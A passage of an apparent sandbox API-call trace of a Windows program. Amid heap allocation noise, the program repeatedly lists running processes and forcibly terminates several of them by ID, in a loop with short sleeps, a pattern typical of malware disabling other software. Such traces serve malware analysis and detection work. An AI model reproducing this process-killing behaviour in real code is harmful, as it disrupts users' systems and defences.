SecurityQualityOfService=0x0), ClientId=0x1cd5fd80*(UniqueProcess=0x82c, UniqueThread=0x0) | out: ProcessHandle=0x1cd5fde8*=0x434) returned 0x0 [0085.261] NtTerminateProcess (ProcessHandle=0x434, ExitStatus=0x0) returned 0x0 [0085.261] NtClose (Handle=0x434) returned 0x0 [0085.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b82a120 [0085.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a120 [0085.261] NtOpenProcess (in: ProcessHandle=0x1cd5fde8, DesiredAccess=0x1, ObjectAttributes=0x1cd5fd90*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1cd5fd80*(UniqueProcess=0x87c, UniqueThread=0x0) | out: ProcessHandle=0x1cd5fde8*=0x434) returned 0x0 [0085.261] NtTerminateProcess (ProcessHandle=0x434, ExitStatus=0x0) returned 0x0 [0085.261] NtClose (Handle=0x434) returned 0x0 [0085.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a120 [0085.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a120 [0085.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a120 [0085.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d7c80 [0085.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7c80) returned 1 [0085.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a120 [0085.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0085.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a120 [0085.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a120 [0085.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0085.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a120 [0085.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a120 [0085.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a120 [0085.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b834560) returned 1 [0085.265] Sleep (dwMilliseconds=0x64) [0085.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x1b82e450 [0085.363] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b82e450, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x1b82e450, ResultLength=0x0) returned 0xc0000004 [0085.364] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b82e450, Size=0x2048) returned 0x1b866c80 [0085.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b866c80, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x1b866c80, ResultLength=0x0) returned 0xc0000004 [0085.364] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b866c80, Size=0x306c) returned 0x1b866c80 [0085.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b866c80, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x1b866c80, ResultLength=0x0) returned 0xc0000004 [0085.364] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b866c80, Size=0x4090) returned 0x1b866c80 [0085.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b866c80, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x1b866c80, ResultLength=0x0) returned 0xc0000004 [0085.364] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b866c80, Size=0x50b4) returned 0x1b866c80 [0085.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b866c80, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x1b866c80, ResultLength=0x0) returned 0xc0000004 [0085.364] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b866c80, Size=0x60d8) returned 0x1b866c80 [0085.364] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b866c80, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x1b866c80, ResultLength=0x0) returned 0xc0000004 [0085.365] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b866c80, Size=0x70fc) returned 0x1b866c80 [0085.365] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b866c80, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x1b866c80, ResultLength=0x0) returned 0xc0000004 [0085.365] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b866c80, Size=0x8120) returned 0x1b866c80 [0085.365] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b866c80, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1b866c80, ResultLength=0x0) returned 0xc0000004 [0085.365] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b866c80, Size=0x9144) returned 0x1b866c80 [0085.365] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b866c80, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1b866c80, ResultLength=0x0) returned 0xc0000004 [0085.365] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b866c80, Size=0xa168) returned 0x1cd60080 [0085.365] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cd60080, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0xc0000004 [0085.365] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd60080, Size=0xb18c) returned 0x1cd60080 [0085.365] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cd60080, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0xc0000004 [0085.366] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd60080, Size=0xc1b0) returned 0x1cd60080 [0085.366] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cd60080, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0xc0000004 [0085.366] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd60080, Size=0xd1d4) returned 0x1cd60080 [0085.366] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cd60080, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0xc0000004 [0085.366] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd60080, Size=0xe1f8) returned 0x1cd60080 [0085.366] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cd60080, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0xc0000004 [0085.366] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd60080, Size=0xf21c) returned 0x1cd60080 [0085.366] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cd60080, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0xc0000004 [0085.366] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd60080, Size=0x10240) returned 0x1cd60080 [0085.366] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cd60080, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0xc0000004 [0085.367] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd60080, Size=0x11264) returned 0x1cd60080 [0085.367] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cd60080, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0xc0000004 [0085.367] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd60080, Size=0x12288) returned 0x1cd60080 [0085.367] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cd60080, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0xc0000004 [0085.367] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd60080, Size=0x132ac) returned 0x1cd60080 [0085.367] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cd60080, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0x0 [0085.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0085.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0085.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0085.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0085.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a240 [0085.370] NtOpenProcess (in: ProcessHandle=0x1cd5fde8, DesiredAccess=0x1, ObjectAttributes=0x1cd5fd90*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1cd5fd80*(UniqueProcess=0x67c, UniqueThread=0x0) | out: ProcessHandle=0x1cd5fde8*=0x434) returned 0x0 [0085.370] NtTerminateProcess (ProcessHandle=0x434, ExitStatus=0x0) returned 0x0 [0085.370] NtClose (Handle=0x434) returned 0x0 [0085.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a240 [0085.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a240 [0085.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a240 [0085.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a240 [0085.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a240 [0085.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a240 [0085.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a240 [0085.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a240 [0085.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d7c80 [0085.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7c80) returned 1 [0085.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x17a750 [0085.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 [0085.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a240 [0085.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7c80 [0085.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7c80) returned 1 [0085.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x17a750 [0085.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 [0085.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d7c80 [0085.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7c80) returned 1 [0085.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a240 [0085.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a240 [0085.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a240 [0085.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.372] NtOpenProcess (in: ProcessHandle=0x1cd5fde8, DesiredAccess=0x1, ObjectAttributes=0x1cd5fd90*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1cd5fd80*(UniqueProcess=0x6a8, UniqueThread=0x0) | out: ProcessHandle=0x1cd5fde8*=0x434) returned 0x0 [0085.372] NtTerminateProcess (ProcessHandle=0x434, ExitStatus=0x0) returned 0x0 [0085.372] NtClose (Handle=0x434) returned 0x0 [0085.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b82a240 [0085.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a240 [0085.373] RtlFreeHeap (HeapHandle=0xa0000, 